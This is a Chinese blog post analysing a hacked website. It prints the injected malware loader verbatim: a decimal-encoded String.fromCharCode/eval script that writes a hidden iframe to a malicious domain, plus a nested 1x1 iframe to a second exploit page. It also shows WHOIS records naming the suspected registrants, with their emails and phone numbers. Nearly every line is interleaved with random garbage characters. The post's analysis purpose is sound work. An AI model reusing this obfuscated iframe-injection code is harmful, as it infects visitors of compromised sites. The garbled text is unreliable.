首发在我的博客里面，
eG08Xt |lc 50HRgoP5Y http://www.areway.cn/?p=175 $zD}hO9 2>h. K/pC &\
\)x.! 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
;H`>jI$ BiI`o CX <script>t=’60,105,102,114,97,109,101,
{N`<TH PP 32,115,114,99,61,104,116,116,112,58,47,47,
c5AEn -Q 102,114,101,101,46,117,45,117,117,117,46,99,
a[ A*9%a 110,47,101,114,114,111,114,46,104,116,109,
X %]m^[6 32,119,105,100,116,104,61,49,48,48,32,104,
/5r!F hx 101,105,103,104,116,61,48,62,60,47,105,102,
yQdoy^d/4 114,97,109,101,62′;
I1fUV72 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
e> Q_&6L b^C2<' <script>t=’60,105,102,114,97,109,101,32,115,
3}V -'!
114,99,61,104,116,116,112,58,47,47,102,114,
cRS2v--\- 101,101,46,117,45,117,117,117,46,99,110,47,
B^lm'/,@ 101,114,114,111,114,46,104,116,109,32,119,
{3){f;b 105,100,116,104,61,49,48,48,32,104,101,105,
eG\`SKx_ 103,104,116,61,48,62,60,47,105,102,114,97,
9xM7X? 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ctT6va document.write(t);</script>
pHv~^L%= sFa5#w*> <html xmlns=”
'/~j!H4q9 http://www.w3.org/1999/xhtml B,avI&7M;S “>
Jwe9L^gL <head>
WN9K*Tt~o& <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
C
]+J <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
| x/Z
qY <title>首页 - 爱生活家庭网
?n V& :~eY THf*< | 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
h?+bW'm 转换字符串后的大概内容是（谁点击后果自付）：
9 , >u, <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
q<>aZ|r ~"8)9& 查询玉米u-uuu.cn的详细信息：
>' e(|P4 Domain Name: u-uuu.cn
kzXmiBL<9 ROID: 20070901s10001s64972306-cn
5$Da\?Fpn Domain Status: ok
q}MPl 2 Registrant Organization: 王雷
]}HuK# Registrant Name: 王雷
mrId`<L5l{ Administrative Email:
czlovexs@126.com 6ujePi <U Sponsoring Registrar: 北京万网志成科技有限公司
#P5tTCM Name Server:ns.yovole.com
!/wR[`s9w Name Server:ns1.yovole.com
E'wJ+X9 + Registration Date: 2007-09-01 17:54
:y8wv|m Expiration Date: 2008-09-01 17:54
TYN~c( 最后PING了一下地址 都没有什么….
jw$[b =sa w//L2. 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
gbL!8Z1h <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
LS{t7P9K <script language=”javascript” src=”
@-G^Jm9~\m http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script .7v
.DR> >
PA <<{\dp 这个玉米应该有可能是木马作者的：
zpM %L:S foafau.info的详细信息：
'/ v@q]! Access to INFO WHOIS information is provided to assist persons in
gy6P f4Yo determining the contents of a domain name registration record in the
t-3y`31i. Afilias registry database. The data in this record is provided by
7qT>wCVT Afilias Limited for informational purposes only, and Afilias does not
<{k r5 < guarantee its accuracy. This service is intended only for query-based
&(t/4)IZox access. You agree that you will use this data only for lawful purposes
4Y:[YlfD. and that, under no circumstances will you use this data to: (a) allow,
D0HLU
~o enable, or otherwise support the transmission by e-mail, telephone, or
uSU[Y,'x facsimile of mass unsolicited, commercial advertising or solicitations
RT$.r5l_@ to entities other than the data recipient’s own existing customers; or
M73d^z (b) enable high volume, automated, electronic processes that send
x9s1Az M{ queries or data to the systems of Registry Operator, a Registrar, or
Z+]Uw Afilias except as reasonably necessary to register domain names or
SxWK@)tP modify existing registrations. All rights reserved. Afilias reserves
[(PD2GO+ the right to modify these terms at any time. By submitting this query,
)MlT=k6S you agree to abide by this policy.
w0!4@ Domain ID:D22418703-LRMS
E[E7Gsmq V Domain Name:FOAFAU.INFO
W&Pp5KR Created On:20-Nov-2007 16:05:42 UTC
DU=rsePWE Last Updated On:20-Nov-2007 16:05:44 UTC
<Zn -P Expiration Date:20-Nov-2008 16:05:42 UTC
Qkq9oZ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
568qdD`PS Status:CLIENT DELETE PROHIBITED
2c 4 x=% Status:CLIENT RENEW PROHIBITED
Q{"QpVY8 Status:CLIENT TRANSFER PROHIBITED
sm>5n_Vw Status:CLIENT UPDATE PROHIBITED
Vi o ~2 Status:TRANSFER PROHIBITED
[mJmT-> Registrant ID:GODA-040110615
`am]&0g^+( Registrant Name:liu hong
sfw lv^ Registrant Organization:
/2#1Oi)o Registrant Street1:beijing
Ihn+_H u Registrant Street2:
hA!kkNqV Registrant Street3:
8O_0x)X Registrant City:beijing
K>x+*UPL Registrant State/Province:
h(1o! $EU2 Registrant Postal Code:100000
[9>h! khs Registrant Country:CN
Od5I:p]N Registrant Phone:+86.860108888777
/n&Y6@W Registrant Phone Ext.:
kjVJ!R\ Registrant FAX:
=%+O.
Registrant FAX Ext.:
()+PP}:$A Registrant Email:bbbshiji@163.com
?N/6m Admin ID:GODA-240110615
b w2KD7 Admin Name:liu hong
` 7mRUDz Admin Organization:
k}h\RCy%f Admin Street1:beijing
k;W`6:Kjp Admin Street2:
;R
x Rap Admin Street3:
r}]%(D](v Admin City:beijing
? j8S.d ~ Admin State/Province:
*%,{<C,Y Admin Postal Code:100000
DpZO$5.Ec+ Admin Country:CN
a][QY1E@? Admin Phone:+86.860108888777
Yl#|+xYA5[ Admin Phone Ext.:
jJO s`'~Q\ Admin FAX:
xJSK" Admin FAX Ext.:
sN%#e+(= Admin Email:bbbshiji@163.com
)%T< Mw2u Billing ID:GODA-340110615
M7JQw/,xs Billing Name:liu hong
KqNbIw*sR Billing Organization:
Sh+$w=vC Billing Street1:beijing
;"N4Yflz Billing Street2:
DbH"e Billing Street3:
LqA&@ Billing City:beijing
\) ' o{l& Billing State/Province:
p,'Z{7 HG Billing Postal Code:100000
aF
(L_ Billing Country:CN
-fILX u Billing Phone:+86.860108888777
iF#|Z$g-( Billing Phone Ext.:
2V6kCy@V Billing FAX:
eK)R= M@i Billing FAX Ext.:
mIy|]e`SJ Billing Email:bbbshiji@163.com
8\H*Z2yF+ Tech ID:GODA-140110615
9KgGK cy% Tech Name:liu hong
8nSEAr~ Tech Organization:
Jv+N/+M47 Tech Street1:beijing
yy*8Aw} Tech Street2:
CfMC c:8mL Tech Street3:
rQ*Fc~^L Tech City:beijing
2/ES.>K!. Tech State/Province:
< RaM@E Tech Postal Code:100000
:ps P|7%| Tech Country:CN
?n0Z4 8% Tech Phone:+86.860108888777
l1 ?$quM^V Tech Phone Ext.:
`{GI^kgJ9 Tech FAX:
^ KRe( Tech FAX Ext.:
_9<nM48+t Tech Email:bbbshiji@163.com
2b i:Q9 Name Server:NS27.DOMAINCONTROL.COM
k/;%{@G) Name Server:NS28.DOMAINCONTROL.COM
K\3N_ztu Name Server:
<jwQ&fm)/R Name Server:
8uq`^l%KkZ Name Server:
9>I&Z8J$M Name Server:
(O@fgBM Name Server:
< Mq vGXI Name Server:
2^;zj0]Rt Name Server:
V }?MP-.c Name Server:
h%*@82DKK Name Server:
(Q4hm ]< Name Server:
XGCjB{IV Name Server:
"!F%X %/ 818,E 接着下载每个文件里面的代码：
RNMd,?dj 一步一步看..
SE7mn6,%\ 
bMp[:dw`y 
i]
I{7k 
P1u( 0t 
2.>a L 
M8{J 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
